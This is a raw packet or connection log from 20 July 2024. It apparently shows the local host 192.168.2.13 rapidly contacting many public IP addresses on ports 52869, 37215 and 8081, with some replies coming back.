Jul 20, 2024 23:05:41.520112991 CEST	43695	52869	192.168.2.13	219.165.248.107
Jul 20, 2024 23:05:41.520112991 CEST	43695	52869	192.168.2.13	131.238.38.36
Jul 20, 2024 23:05:41.520112991 CEST	43695	52869	192.168.2.13	204.247.158.164
Jul 20, 2024 23:05:41.520112991 CEST	43695	52869	192.168.2.13	66.238.97.61
Jul 20, 2024 23:05:41.520112991 CEST	43695	52869	192.168.2.13	219.74.177.50
Jul 20, 2024 23:05:41.520112991 CEST	43695	52869	192.168.2.13	75.27.220.215
Jul 20, 2024 23:05:41.520112991 CEST	43695	52869	192.168.2.13	114.145.159.92
Jul 20, 2024 23:05:41.520625114 CEST	43695	52869	192.168.2.13	17.168.12.81
Jul 20, 2024 23:05:41.520625114 CEST	43695	52869	192.168.2.13	201.40.134.247
Jul 20, 2024 23:05:41.520625114 CEST	43695	52869	192.168.2.13	155.145.127.128
Jul 20, 2024 23:05:41.520625114 CEST	43695	52869	192.168.2.13	86.112.237.98
Jul 20, 2024 23:05:41.520625114 CEST	43695	52869	192.168.2.13	167.107.49.40
Jul 20, 2024 23:05:41.520625114 CEST	43695	52869	192.168.2.13	80.173.225.23
Jul 20, 2024 23:05:41.520625114 CEST	43695	52869	192.168.2.13	90.84.30.242
Jul 20, 2024 23:05:41.520625114 CEST	43695	52869	192.168.2.13	181.48.248.186
Jul 20, 2024 23:05:41.520782948 CEST	44719	37215	192.168.2.13	197.27.184.232
Jul 20, 2024 23:05:41.520782948 CEST	44719	37215	192.168.2.13	197.208.108.108
Jul 20, 2024 23:05:41.520782948 CEST	44719	37215	192.168.2.13	41.96.101.86
Jul 20, 2024 23:05:41.520782948 CEST	44719	37215	192.168.2.13	41.115.181.239
Jul 20, 2024 23:05:41.520782948 CEST	44719	37215	192.168.2.13	54.46.234.30
Jul 20, 2024 23:05:41.520782948 CEST	44719	37215	192.168.2.13	157.13.218.86
Jul 20, 2024 23:05:41.520783901 CEST	44719	37215	192.168.2.13	157.59.55.210
Jul 20, 2024 23:05:41.521061897 CEST	8081	43439	68.208.130.213	192.168.2.13
Jul 20, 2024 23:05:41.521073103 CEST	8081	43439	137.17.247.121	192.168.2.13
Jul 20, 2024 23:05:41.521081924 CEST	8081	43439	129.234.53.71	192.168.2.13
Jul 20, 2024 23:05:41.521090984 CEST	8081	43439	100.189.148.44	192.168.2.13
Jul 20, 2024 23:05:41.521100044 CEST	8081	43439	32.17.126.48	192.168.2.13
Jul 20, 2024 23:05:41.521109104 CEST	8081	43439	115.217.160.85	192.168.2.13
Jul 20, 2024 23:05:41.521119118 CEST	8081	43439	36.176.160.146	192.168.2.13
Jul 20, 2024 23:05:41.521127939 CEST	8081	43439	74.144.83.171	192.168.2.13
Jul 20, 2024 23:05:41.521136999 CEST	8081	43439	105.226.213.209	192.168.2.13
Jul 20, 2024 23:05:41.521146059 CEST	8081	43439	84.32.51.114	192.168.2.13
Jul 20, 2024 23:05:41.521155119 CEST	8081	43439	138.22.150.174	192.168.2.13
Jul 20, 2024 23:05:41.521163940 CEST	8081	43439	139.252.209.56	192.168.2.13
Jul 20, 2024 23:05:41.521173000 CEST	8081	43439	185.124.182.75	192.168.2.13
Jul 20, 2024 23:05:41.521183014 CEST	8081	43439	137.23.201.104	192.168.2.13
Jul 20, 2024 23:05:41.521192074 CEST	8081	43439	57.77.208.172	192.168.2.13
Jul 20, 2024 23:05:41.521202087 CEST	8081	43439	137.235.33.38	192.168.2.13
Jul 20, 2024 23:05:41.521210909 CEST	8081	43439	129.77.207.171	192.168.2.13
Jul 20, 2024 23:05:41.521219969 CEST	8081	43439	17.117.143.98	192.168.2.13
Jul 20, 2024 23:05:41.521229029 CEST	8081	43439	219.213.237.59	192.168.2.13
Jul 20, 2024 23:05:41.521238089 CEST	8081	43439	114.5.162.119	192.168.2.13
Jul 20, 2024 23:05:41.521712065 CEST	8081	43439	177.86.253.86	192.168.2.13
Jul 20, 2024 23:05:41.521722078 CEST	8081	43439	121.82.211.184	192.168.2.13
Jul 20, 2024 23:05:41.521730900 CEST	8081	43439	192.189.16.165	192.168.2.13
Jul 20, 2024 23:05:41.521739960 CEST	8081	43439	152.61.98.197	192.168.2.13
Jul 20, 2024 23:05:41.521749020 CEST	8081	43439	122.203.235.47	192.168.2.13
Jul 20, 2024 23:05:41.521758080 CEST	8081	43439	154.179.195.34	192.168.2.13
Jul 20, 2024 23:05:41.521766901 CEST	8081	43439	99.139.175.129	192.168.2.13
Jul 20, 2024 23:05:41.521775961 CEST	8081	43439	178.234.160.149	192.168.2.13
Jul 20, 2024 23:05:41.522603035 CEST	43695	52869	192.168.2.13	18.57.238.197
Jul 20, 2024 23:05:41.522603035 CEST	43695	52869	192.168.2.13	199.90.68.241
Jul 20, 2024 23:05:41.522603035 CEST	43695	52869	192.168.2.13	104.8.133.150
Jul 20, 2024 23:05:41.522603035 CEST	43695	52869	192.168.2.13	174.232.242.102
Jul 20, 2024 23:05:41.522603035 CEST	43695	52869	192.168.2.13	129.72.193.162
Jul 20, 2024 23:05:41.522603035 CEST	43695	52869	192.168.2.13	13.234.171.102
Jul 20, 2024 23:05:41.523560047 CEST	8081	43439	150.64.220.17	192.168.2.13
Jul 20, 2024 23:05:41.523720026 CEST	8081	43439	155.26.159.128	192.168.2.13
Jul 20, 2024 23:05:41.523730040 CEST	8081	43439	177.53.185.228	192.168.2.13
Jul 20, 2024 23:05:41.523739100 CEST	8081	43439	54.21.245.58	192.168.2.13
Jul 20, 2024 23:05:41.523747921 CEST	8081	43439	129.161.226.163	192.168.2.13
Jul 20, 2024 23:05:41.523756981 CEST	8081	43439	37.231.130.247	192.168.2.13
Jul 20, 2024 23:05:41.523766041 CEST	8081	43439	125.38.91.150	192.168.2.13
Jul 20, 2024 23:05:41.523773909 CEST	8081	43439	50.70.210.210	192.168.2.13
Jul 20, 2024 23:05:41.523782015 CEST	8081	43439	178.40.154.210	192.168.2.13
Jul 20, 2024 23:05:41.523792028 CEST	8081	43439	153.20.110.114	192.168.2.13
Jul 20, 2024 23:05:41.523802042 CEST	8081	43439	39.150.124.187	192.168.2.13
Jul 20, 2024 23:05:41.523811102 CEST	8081	43439	141.254.162.226	192.168.2.13
Jul 20, 2024 23:05:41.523819923 CEST	8081	43439	148.33.173.208	192.168.2.13
Jul 20, 2024 23:05:41.523828983 CEST	8081	43439	103.194.153.208	192.168.2.13
Jul 20, 2024 23:05:41.523838043 CEST	8081	43439	176.189.176.57	192.168.2.13
Jul 20, 2024 23:05:41.523845911 CEST	8081	43439	60.53.68.28	192.168.2.13
Jul 20, 2024 23:05:41.523854971 CEST	8081	43439	181.58.255.23	192.168.2.13
Jul 20, 2024 23:05:41.523864031 CEST	8081	43439	61.97.111.61	192.168.2.13
Jul 20, 2024 23:05:41.523871899 CEST	8081	43439	216.120.175.81	192.168.2.13
Jul 20, 2024 23:05:41.523880959 CEST	8081	43439	99.53.93.171	192.168.2.13
Jul 20, 2024 23:05:41.523890018 CEST	8081	43439	108.225.42.112	192.168.2.13
Jul 20, 2024 23:05:41.523899078 CEST	8081	43439	69.22.88.231	192.168.2.13
Jul 20, 2024 23:05:41.523907900 CEST	8081	43439	202.126.95.182	192.168.2.13
Jul 20, 2024 23:05:41.523919106 CEST	8081	43439	122.46.167.189	192.168.2.13
Jul 20, 2024 23:05:41.523931026 CEST	8081	43439	42.77.251.81	192.168.2.13
Jul 20, 2024 23:05:41.523938894 CEST	8081	43439	203.22.137.107	192.168.2.13
Jul 20, 2024 23:05:41.523947954 CEST	8081	43439	222.53.162.176	192.168.2.13
Jul 20, 2024 23:05:41.523956060 CEST	8081	43439	218.79.211.50	192.168.2.13
Jul 20, 2024 23:05:41.524075985 CEST	44719	37215	192.168.2.13	200.217.151.169
Jul 20, 2024 23:05:41.524075985 CEST	44719	37215	192.168.2.13	197.133.8.137
Jul 20, 2024 23:05:41.524075985 CEST	44719	37215	192.168.2.13	41.162.150.222
Jul 20, 2024 23:05:41.524075985 CEST	44719	37215	192.168.2.13	197.55.34.162
Jul 20, 2024 23:05:41.524075985 CEST	44719	37215	192.168.2.13	54.120.8.60
Jul 20, 2024 23:05:41.524075985 CEST	44719	37215	192.168.2.13	197.75.65.254
Jul 20, 2024 23:05:41.524224043 CEST	8081	43439	186.207.185.80	192.168.2.13
Jul 20, 2024 23:05:41.524235010 CEST	8081	43439	101.217.104.145	192.168.2.13
Jul 20, 2024 23:05:41.524245024 CEST	8081	43439	59.17.181.70	192.168.2.13
Jul 20, 2024 23:05:41.524883986 CEST	8081	43439	120.24.247.133	192.168.2.13
Jul 20, 2024 23:05:41.524893999 CEST	8081	43439	143.117.13.173	192.168.2.13
Jul 20, 2024 23:05:41.524904013 CEST	8081	43439	217.216.218.234	192.168.2.13
Jul 20, 2024 23:05:41.524914026 CEST	8081	43439	52.138.221.5	192.168.2.13
Jul 20, 2024 23:05:41.524921894 CEST	8081	43439	111.95.120.159	192.168.2.13
Jul 20, 2024 23:05:41.524930954 CEST	8081	43439	154.220.1.16	192.168.2.13
Jul 20, 2024 23:05:41.524940968 CEST	8081	43439	198.173.153.52	192.168.2.13
Jul 20, 2024 23:05:41.524950027 CEST	8081	43439	211.37.100.5	192.168.2.13
Jul 20, 2024 23:05:41.524959087 CEST	8081	43439	121.252.7.225	192.168.2.13
Jul 20, 2024 23:05:41.524967909 CEST	8081	43439	124.68.36.244	192.168.2.13
Jul 20, 2024 23:05:41.524976969 CEST	8081	43439	114.5.77.31	192.168.2.13
Jul 20, 2024 23:05:41.524986029 CEST	8081	43439	36.87.55.229	192.168.2.13
Jul 20, 2024 23:05:41.524995089 CEST	8081	43439	68.238.145.132	192.168.2.13
Jul 20, 2024 23:05:41.525003910 CEST	8081	43439	70.83.80.195	192.168.2.13
Jul 20, 2024 23:05:41.525036097 CEST	8081	43439	191.6.89.57	192.168.2.13
Jul 20, 2024 23:05:41.525044918 CEST	8081	43439	1.6.197.112	192.168.2.13
Jul 20, 2024 23:05:41.525053978 CEST	8081	43439	37.183.208.1	192.168.2.13
Jul 20, 2024 23:05:41.525063038 CEST	8081	43439	91.1.117.216	192.168.2.13
Jul 20, 2024 23:05:41.525072098 CEST	8081	43439	115.133.83.150	192.168.2.13
Jul 20, 2024 23:05:41.525080919 CEST	8081	43439	161.117.11.153	192.168.2.13
Jul 20, 2024 23:05:41.525089979 CEST	8081	43439	168.29.16.8	192.168.2.13
Jul 20, 2024 23:05:41.525099039 CEST	8081	43439	42.72.240.140	192.168.2.13
Jul 20, 2024 23:05:41.525374889 CEST	43695	52869	192.168.2.13	184.244.251.192
Jul 20, 2024 23:05:41.525374889 CEST	43695	52869	192.168.2.13	104.207.70.64
Jul 20, 2024 23:05:41.525374889 CEST	43695	52869	192.168.2.13	59.206.251.27
Jul 20, 2024 23:05:41.525374889 CEST	43695	52869	192.168.2.13	163.53.239.128
Jul 20, 2024 23:05:41.525374889 CEST	43695	52869	192.168.2.13	191.84.70.100
Jul 20, 2024 23:05:41.525374889 CEST	43695	52869	192.168.2.13	61.231.166.97
Jul 20, 2024 23:05:41.525374889 CEST	43695	52869	192.168.2.13	59.198.217.134
Jul 20, 2024 23:05:41.525374889 CEST	43695	52869	192.168.2.13	2.65.164.200
Jul 20, 2024 23:05:41.525759935 CEST	43695	52869	192.168.2.13	188.202.147.226
Jul 20, 2024 23:05:41.525759935 CEST	43695	52869	192.168.2.13	182.222.251.164
Jul 20, 2024 23:05:41.525759935 CEST	43695	52869	192.168.2.13	186.66.83.107
Jul 20, 2024 23:05:41.525759935 CEST	43695	52869	192.168.2.13	1.147.145.150
Jul 20, 2024 23:05:41.525759935 CEST	43695	52869	192.168.2.13	216.124.81.250
Jul 20, 2024 23:05:41.525759935 CEST	43695	52869	192.168.2.13	124.25.205.216
Jul 20, 2024 23:05:41.525759935 CEST	43695	52869	192.168.2.13	58.164.88.29
Jul 20, 2024 23:05:41.525759935 CEST	43695	52869	192.168.2.13	207.52.197.113
Jul 20, 2024 23:05:41.526087999 CEST	8081	43439	131.157.50.161	192.168.2.13
Jul 20, 2024 23:05:41.526099920 CEST	52869	43695	90.244.51.71	192.168.2.13
Jul 20, 2024 23:05:41.526109934 CEST	8081	43439	120.232.129.114	192.168.2.13
Jul 20, 2024 23:05:41.526896000 CEST	43695	52869	192.168.2.13	181.75.92.107
Jul 20, 2024 23:05:41.526896000 CEST	43695	52869	192.168.2.13	168.249.67.154
Jul 20, 2024 23:05:41.526896000 CEST	43695	52869	192.168.2.13	161.74.32.220
Jul 20, 2024 23:05:41.526896000 CEST	43695	52869	192.168.2.13	34.24.241.58
Jul 20, 2024 23:05:41.526896000 CEST	43695	52869	192.168.2.13	124.91.74.236
Jul 20, 2024 23:05:41.526896000 CEST	43695	52869	192.168.2.13	156.17.232.214
Jul 20, 2024 23:05:41.526896954 CEST	43695	52869	192.168.2.13	65.110.37.185
Jul 20, 2024 23:05:41.526896954 CEST	43695	52869	192.168.2.13	68.9.157.176
Jul 20, 2024 23:05:41.527036905 CEST	52869	43695	142.28.169.133	192.168.2.13
Jul 20, 2024 23:05:41.527048111 CEST	8081	43439	223.250.77.197	192.168.2.13
Jul 20, 2024 23:05:41.527057886 CEST	8081	43439	156.35.182.86	192.168.2.13
Jul 20, 2024 23:05:41.527066946 CEST	8081	43439	136.82.192.39	192.168.2.13
Jul 20, 2024 23:05:41.527076006 CEST	52869	43695	191.93.43.213	192.168.2.13
Jul 20, 2024 23:05:41.527085066 CEST	52869	43695	123.113.248.155	192.168.2.13
Jul 20, 2024 23:05:41.527092934 CEST	52869	43695	151.255.247.73	192.168.2.13
Jul 20, 2024 23:05:41.527101994 CEST	8081	43439	201.190.152.14	192.168.2.13
Jul 20, 2024 23:05:41.527112007 CEST	8081	43439	52.137.37.38	192.168.2.13
Jul 20, 2024 23:05:41.527121067 CEST	8081	43439	168.60.234.146	192.168.2.13
Jul 20, 2024 23:05:41.527129889 CEST	52869	43695	35.104.62.133	192.168.2.13
Jul 20, 2024 23:05:41.527138948 CEST	8081	43439	37.177.32.112	192.168.2.13
Jul 20, 2024 23:05:41.527148962 CEST	8081	43439	45.72.63.232	192.168.2.13
Jul 20, 2024 23:05:41.527158022 CEST	52869	43695	37.184.248.25	192.168.2.13
Jul 20, 2024 23:05:41.527168036 CEST	52869	43695	118.31.82.42	192.168.2.13
Jul 20, 2024 23:05:41.527177095 CEST	52869	43695	42.199.22.184	192.168.2.13
Jul 20, 2024 23:05:41.527185917 CEST	8081	43439	205.22.200.187	192.168.2.13
Jul 20, 2024 23:05:41.527195930 CEST	8081	43439	110.16.107.79	192.168.2.13
Jul 20, 2024 23:05:41.527204990 CEST	52869	43695	82.194.73.169	192.168.2.13
Jul 20, 2024 23:05:41.527215004 CEST	8081	43439	92.154.101.109	192.168.2.13
Jul 20, 2024 23:05:41.527224064 CEST	8081	43439	156.40.121.110	192.168.2.13
Jul 20, 2024 23:05:41.527232885 CEST	52869	43695	60.172.237.222	192.168.2.13
Jul 20, 2024 23:05:41.527241945 CEST	8081	43439	155.142.217.138	192.168.2.13
Jul 20, 2024 23:05:41.527252913 CEST	52869	43695	69.16.57.56	192.168.2.13
Jul 20, 2024 23:05:41.527261972 CEST	8081	43439	141.29.146.57	192.168.2.13
Jul 20, 2024 23:05:41.527333021 CEST	52869	43695	190.225.30.14	192.168.2.13
Jul 20, 2024 23:05:41.527343035 CEST	8081	43439	107.175.10.241	192.168.2.13
Jul 20, 2024 23:05:41.527353048 CEST	52869	43695	221.108.209.131	192.168.2.13
Jul 20, 2024 23:05:41.527686119 CEST	43695	52869	192.168.2.13	109.62.164.191
Jul 20, 2024 23:05:41.527686119 CEST	43695	52869	192.168.2.13	86.2.137.180
Jul 20, 2024 23:05:41.527686119 CEST	43695	52869	192.168.2.13	50.231.142.184
Jul 20, 2024 23:05:41.527686119 CEST	43695	52869	192.168.2.13	223.187.125.191
Jul 20, 2024 23:05:41.527686119 CEST	43695	52869	192.168.2.13	131.81.154.242
Jul 20, 2024 23:05:41.527686119 CEST	43695	52869	192.168.2.13	36.89.58.52
Jul 20, 2024 23:05:41.527686119 CEST	43695	52869	192.168.2.13	73.104.85.87
Jul 20, 2024 23:05:41.527686119 CEST	43695	52869	192.168.2.13	42.187.220.198
Jul 20, 2024 23:05:41.528011084 CEST	44719	37215	192.168.2.13	41.86.21.116
Jul 20, 2024 23:05:41.528011084 CEST	44719	37215	192.168.2.13	197.17.89.105
Jul 20, 2024 23:05:41.528011084 CEST	44719	37215	192.168.2.13	76.18.81.194
Jul 20, 2024 23:05:41.528011084 CEST	44719	37215	192.168.2.13	171.222.157.192
Jul 20, 2024 23:05:41.528011084 CEST	44719	37215	192.168.2.13	197.120.135.100
Jul 20, 2024 23:05:41.528011084 CEST	44719	37215	192.168.2.13	41.105.57.188
Jul 20, 2024 23:05:41.528425932 CEST	43439	8081	192.168.2.13	120.161.159.9
Jul 20, 2024 23:05:41.528691053 CEST	43695	52869	192.168.2.13	188.120.126.214
Jul 20, 2024 23:05:41.528691053 CEST	43695	52869	192.168.2.13	84.85.127.134
Jul 20, 2024 23:05:41.528691053 CEST	43695	52869	192.168.2.13	126.6.244.185
Jul 20, 2024 23:05:41.528691053 CEST	43695	52869	192.168.2.13	84.95.135.195
Jul 20, 2024 23:05:41.528691053 CEST	43695	52869	192.168.2.13	209.181.151.253
Jul 20, 2024 23:05:41.528691053 CEST	43695	52869	192.168.2.13	120.224.121.58
Jul 20, 2024 23:05:41.528691053 CEST	43695	52869	192.168.2.13	140.166.42.218
Jul 20, 2024 23:05:41.528691053 CEST	43695	52869	192.168.2.13	58.61.225.93
Jul 20, 2024 23:05:41.529015064 CEST	43439	8081	192.168.2.13	68.208.130.213
Jul 20, 2024 23:05:41.529015064 CEST	43439	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:41.529015064 CEST	43439	8081	192.168.2.13	84.32.51.114
Jul 20, 2024 23:05:41.529016018 CEST	43439	8081	192.168.2.13	177.53.185.228
Jul 20, 2024 23:05:41.529016018 CEST	43439	8081	192.168.2.13	129.161.226.163
Jul 20, 2024 23:05:41.529016018 CEST	43439	8081	192.168.2.13	50.70.210.210
Jul 20, 2024 23:05:41.529016018 CEST	43439	8081	192.168.2.13	176.189.176.57
Jul 20, 2024 23:05:41.529016018 CEST	43439	8081	192.168.2.13	61.97.111.61
Jul 20, 2024 23:05:41.529753923 CEST	43695	52869	192.168.2.13	19.114.137.118
Jul 20, 2024 23:05:41.529753923 CEST	43695	52869	192.168.2.13	202.161.35.81
Jul 20, 2024 23:05:41.529753923 CEST	43695	52869	192.168.2.13	135.112.188.24
Jul 20, 2024 23:05:41.529753923 CEST	43695	52869	192.168.2.13	168.41.37.53
Jul 20, 2024 23:05:41.529753923 CEST	43695	52869	192.168.2.13	175.157.85.167
Jul 20, 2024 23:05:41.529753923 CEST	43695	52869	192.168.2.13	35.141.71.219
Jul 20, 2024 23:05:41.529753923 CEST	43695	52869	192.168.2.13	9.92.192.231
Jul 20, 2024 23:05:41.529753923 CEST	43695	52869	192.168.2.13	87.149.54.49
Jul 20, 2024 23:05:41.530129910 CEST	8081	43439	180.168.102.156	192.168.2.13
Jul 20, 2024 23:05:41.530141115 CEST	8081	43439	124.59.19.121	192.168.2.13
Jul 20, 2024 23:05:41.530149937 CEST	8081	43439	149.164.34.41	192.168.2.13
Jul 20, 2024 23:05:41.530257940 CEST	8081	43439	144.98.215.70	192.168.2.13
Jul 20, 2024 23:05:41.530267954 CEST	8081	43439	199.231.47.60	192.168.2.13
Jul 20, 2024 23:05:41.530277014 CEST	8081	43439	202.79.86.181	192.168.2.13
Jul 20, 2024 23:05:41.530286074 CEST	8081	43439	85.43.144.215	192.168.2.13
Jul 20, 2024 23:05:41.530441999 CEST	8081	43439	95.198.159.19	192.168.2.13
Jul 20, 2024 23:05:41.530451059 CEST	8081	43439	113.166.119.67	192.168.2.13
Jul 20, 2024 23:05:41.530461073 CEST	8081	43439	43.187.84.77	192.168.2.13
Jul 20, 2024 23:05:41.530469894 CEST	52869	43695	182.216.208.70	192.168.2.13
Jul 20, 2024 23:05:41.530479908 CEST	8081	43439	118.57.144.139	192.168.2.13
Jul 20, 2024 23:05:41.530488968 CEST	8081	43439	4.100.220.243	192.168.2.13
Jul 20, 2024 23:05:41.530498981 CEST	8081	43439	155.60.200.183	192.168.2.13
Jul 20, 2024 23:05:41.530508041 CEST	8081	43439	59.87.201.197	192.168.2.13
Jul 20, 2024 23:05:41.530517101 CEST	52869	43695	103.134.146.2	192.168.2.13
Jul 20, 2024 23:05:41.530525923 CEST	8081	43439	126.213.109.218	192.168.2.13
Jul 20, 2024 23:05:41.530534983 CEST	8081	43439	198.109.49.20	192.168.2.13
Jul 20, 2024 23:05:41.530754089 CEST	8081	43439	207.65.89.76	192.168.2.13
Jul 20, 2024 23:05:41.530765057 CEST	8081	43439	195.41.191.105	192.168.2.13
Jul 20, 2024 23:05:41.530774117 CEST	8081	43439	50.135.198.195	192.168.2.13
Jul 20, 2024 23:05:41.530782938 CEST	8081	43439	64.163.21.53	192.168.2.13
Jul 20, 2024 23:05:41.530791044 CEST	8081	43439	60.27.15.186	192.168.2.13
Jul 20, 2024 23:05:41.530800104 CEST	8081	43439	20.57.22.34	192.168.2.13
Jul 20, 2024 23:05:41.530808926 CEST	8081	43439	80.35.131.56	192.168.2.13
Jul 20, 2024 23:05:41.530817986 CEST	8081	43439	195.163.241.55	192.168.2.13
Jul 20, 2024 23:05:41.530827045 CEST	52869	43695	157.229.158.93	192.168.2.13
Jul 20, 2024 23:05:41.530836105 CEST	8081	43439	83.35.207.92	192.168.2.13
Jul 20, 2024 23:05:41.531236887 CEST	8081	43439	157.238.192.85	192.168.2.13
Jul 20, 2024 23:05:41.531404972 CEST	8081	43439	2.211.16.69	192.168.2.13
Jul 20, 2024 23:05:41.531414986 CEST	52869	43695	97.119.31.69	192.168.2.13
Jul 20, 2024 23:05:41.531424046 CEST	8081	43439	53.60.47.148	192.168.2.13
Jul 20, 2024 23:05:41.531433105 CEST	52869	43695	219.217.21.209	192.168.2.13
Jul 20, 2024 23:05:41.531441927 CEST	52869	43695	45.242.201.152	192.168.2.13
Jul 20, 2024 23:05:41.531450987 CEST	8081	43439	54.23.136.73	192.168.2.13
Jul 20, 2024 23:05:41.531460047 CEST	52869	43695	103.189.90.59	192.168.2.13
Jul 20, 2024 23:05:41.531469107 CEST	8081	43439	40.17.14.25	192.168.2.13
Jul 20, 2024 23:05:41.531477928 CEST	52869	43695	97.58.124.0	192.168.2.13
Jul 20, 2024 23:05:41.531486988 CEST	8081	43439	23.250.134.134	192.168.2.13
Jul 20, 2024 23:05:41.531496048 CEST	52869	43695	109.118.236.217	192.168.2.13
Jul 20, 2024 23:05:41.531505108 CEST	8081	43439	187.244.164.153	192.168.2.13
Jul 20, 2024 23:05:41.531589985 CEST	8081	43439	178.177.156.149	192.168.2.13
Jul 20, 2024 23:05:41.531600952 CEST	52869	43695	160.3.93.203	192.168.2.13
Jul 20, 2024 23:05:41.531610966 CEST	8081	43439	9.80.224.130	192.168.2.13
Jul 20, 2024 23:05:41.531620026 CEST	52869	43695	96.168.242.10	192.168.2.13
Jul 20, 2024 23:05:41.531629086 CEST	8081	43439	168.108.1.170	192.168.2.13
Jul 20, 2024 23:05:41.531637907 CEST	8081	43439	183.124.37.55	192.168.2.13
Jul 20, 2024 23:05:41.531646967 CEST	8081	43439	216.45.186.119	192.168.2.13
Jul 20, 2024 23:05:41.531656027 CEST	52869	43695	213.191.40.132	192.168.2.13
Jul 20, 2024 23:05:41.531665087 CEST	52869	43695	100.33.47.252	192.168.2.13
Jul 20, 2024 23:05:41.531673908 CEST	52869	43695	76.47.7.99	192.168.2.13
Jul 20, 2024 23:05:41.531682968 CEST	52869	43695	204.235.52.91	192.168.2.13
Jul 20, 2024 23:05:41.531692028 CEST	8081	43439	115.2.148.25	192.168.2.13
Jul 20, 2024 23:05:41.531701088 CEST	8081	43439	189.19.147.148	192.168.2.13
Jul 20, 2024 23:05:41.531708956 CEST	52869	43695	69.103.212.226	192.168.2.13
Jul 20, 2024 23:05:41.531718016 CEST	8081	43439	109.208.7.182	192.168.2.13
Jul 20, 2024 23:05:41.532222986 CEST	52869	43695	218.217.201.5	192.168.2.13
Jul 20, 2024 23:05:41.532233000 CEST	52869	43695	115.77.146.7	192.168.2.13
Jul 20, 2024 23:05:41.532242060 CEST	52869	43695	173.79.90.185	192.168.2.13
Jul 20, 2024 23:05:41.532249928 CEST	52869	43695	205.184.32.162	192.168.2.13
Jul 20, 2024 23:05:41.532258987 CEST	8081	43439	197.91.32.62	192.168.2.13
Jul 20, 2024 23:05:41.532269001 CEST	52869	43695	5.165.130.202	192.168.2.13
Jul 20, 2024 23:05:41.532277107 CEST	52869	43695	207.68.145.36	192.168.2.13
Jul 20, 2024 23:05:41.532285929 CEST	52869	43695	103.55.147.65	192.168.2.13
Jul 20, 2024 23:05:41.532294989 CEST	52869	43695	144.25.185.135	192.168.2.13
Jul 20, 2024 23:05:41.532304049 CEST	8081	43439	124.64.97.110	192.168.2.13
Jul 20, 2024 23:05:41.532313108 CEST	8081	43439	161.122.130.29	192.168.2.13
Jul 20, 2024 23:05:41.532321930 CEST	52869	43695	106.89.6.76	192.168.2.13
Jul 20, 2024 23:05:41.532330990 CEST	52869	43695	116.185.85.147	192.168.2.13
Jul 20, 2024 23:05:41.532340050 CEST	8081	43439	34.193.29.237	192.168.2.13
Jul 20, 2024 23:05:41.532349110 CEST	52869	43695	120.82.186.82	192.168.2.13
Jul 20, 2024 23:05:41.532358885 CEST	8081	43439	146.75.115.117	192.168.2.13
Jul 20, 2024 23:05:41.532370090 CEST	52869	43695	44.34.223.198	192.168.2.13
Jul 20, 2024 23:05:41.532378912 CEST	52869	43695	219.185.143.162	192.168.2.13
Jul 20, 2024 23:05:41.532387972 CEST	52869	43695	113.25.176.151	192.168.2.13
Jul 20, 2024 23:05:41.532397985 CEST	52869	43695	163.137.21.21	192.168.2.13
Jul 20, 2024 23:05:41.532407045 CEST	52869	43695	151.18.50.154	192.168.2.13
Jul 20, 2024 23:05:41.532416105 CEST	52869	43695	24.212.1.78	192.168.2.13
Jul 20, 2024 23:05:41.532423973 CEST	52869	43695	167.161.118.96	192.168.2.13
Jul 20, 2024 23:05:41.532433987 CEST	52869	43695	88.222.234.137	192.168.2.13
Jul 20, 2024 23:05:41.532443047 CEST	52869	43695	160.106.55.221	192.168.2.13
Jul 20, 2024 23:05:41.533036947 CEST	52869	43695	113.231.23.188	192.168.2.13
Jul 20, 2024 23:05:41.533046961 CEST	52869	43695	133.112.9.231	192.168.2.13
Jul 20, 2024 23:05:41.533056021 CEST	52869	43695	123.82.131.246	192.168.2.13
Jul 20, 2024 23:05:41.533065081 CEST	52869	43695	25.45.255.94	192.168.2.13
Jul 20, 2024 23:05:41.533401012 CEST	44719	37215	192.168.2.13	197.30.62.228
Jul 20, 2024 23:05:41.533401012 CEST	44719	37215	192.168.2.13	157.135.7.18
Jul 20, 2024 23:05:41.533401012 CEST	44719	37215	192.168.2.13	41.191.103.146
Jul 20, 2024 23:05:41.533401012 CEST	44719	37215	192.168.2.13	41.64.18.125
Jul 20, 2024 23:05:41.533401012 CEST	44719	37215	192.168.2.13	197.5.3.121
Jul 20, 2024 23:05:41.533401012 CEST	44719	37215	192.168.2.13	41.191.67.28
Jul 20, 2024 23:05:41.533401012 CEST	44719	37215	192.168.2.13	169.115.251.242
Jul 20, 2024 23:05:41.533634901 CEST	52869	43695	58.45.66.216	192.168.2.13
Jul 20, 2024 23:05:41.533644915 CEST	52869	43695	39.92.190.14	192.168.2.13
Jul 20, 2024 23:05:41.533649921 CEST	43695	52869	192.168.2.13	83.193.174.246
Jul 20, 2024 23:05:41.533649921 CEST	43695	52869	192.168.2.13	157.132.79.48
Jul 20, 2024 23:05:41.533649921 CEST	43695	52869	192.168.2.13	143.83.164.172
Jul 20, 2024 23:05:41.533649921 CEST	43695	52869	192.168.2.13	109.141.221.47
Jul 20, 2024 23:05:41.533649921 CEST	43695	52869	192.168.2.13	108.43.220.197
Jul 20, 2024 23:05:41.533649921 CEST	43695	52869	192.168.2.13	164.11.218.34
Jul 20, 2024 23:05:41.533649921 CEST	43695	52869	192.168.2.13	75.237.222.251
Jul 20, 2024 23:05:41.533649921 CEST	43695	52869	192.168.2.13	8.139.163.163
Jul 20, 2024 23:05:41.533654928 CEST	52869	43695	51.149.137.11	192.168.2.13
Jul 20, 2024 23:05:41.533663988 CEST	52869	43695	219.10.237.79	192.168.2.13
Jul 20, 2024 23:05:41.533673048 CEST	52869	43695	169.227.213.55	192.168.2.13
Jul 20, 2024 23:05:41.533682108 CEST	52869	43695	154.237.61.130	192.168.2.13
Jul 20, 2024 23:05:41.533690929 CEST	52869	43695	8.100.203.97	192.168.2.13
Jul 20, 2024 23:05:41.533817053 CEST	52869	43695	167.223.2.219	192.168.2.13
Jul 20, 2024 23:05:41.533827066 CEST	52869	43695	145.19.26.68	192.168.2.13
Jul 20, 2024 23:05:41.533835888 CEST	52869	43695	76.95.10.101	192.168.2.13
Jul 20, 2024 23:05:41.533845901 CEST	8081	43439	49.245.15.5	192.168.2.13
Jul 20, 2024 23:05:41.533855915 CEST	52869	43695	35.151.71.195	192.168.2.13
Jul 20, 2024 23:05:41.533864975 CEST	52869	43695	19.225.121.130	192.168.2.13
Jul 20, 2024 23:05:41.533874035 CEST	52869	43695	31.43.8.121	192.168.2.13
Jul 20, 2024 23:05:41.533883095 CEST	52869	43695	51.66.153.104	192.168.2.13
Jul 20, 2024 23:05:41.533891916 CEST	52869	43695	165.139.105.73	192.168.2.13
Jul 20, 2024 23:05:41.533900976 CEST	52869	43695	61.214.205.196	192.168.2.13
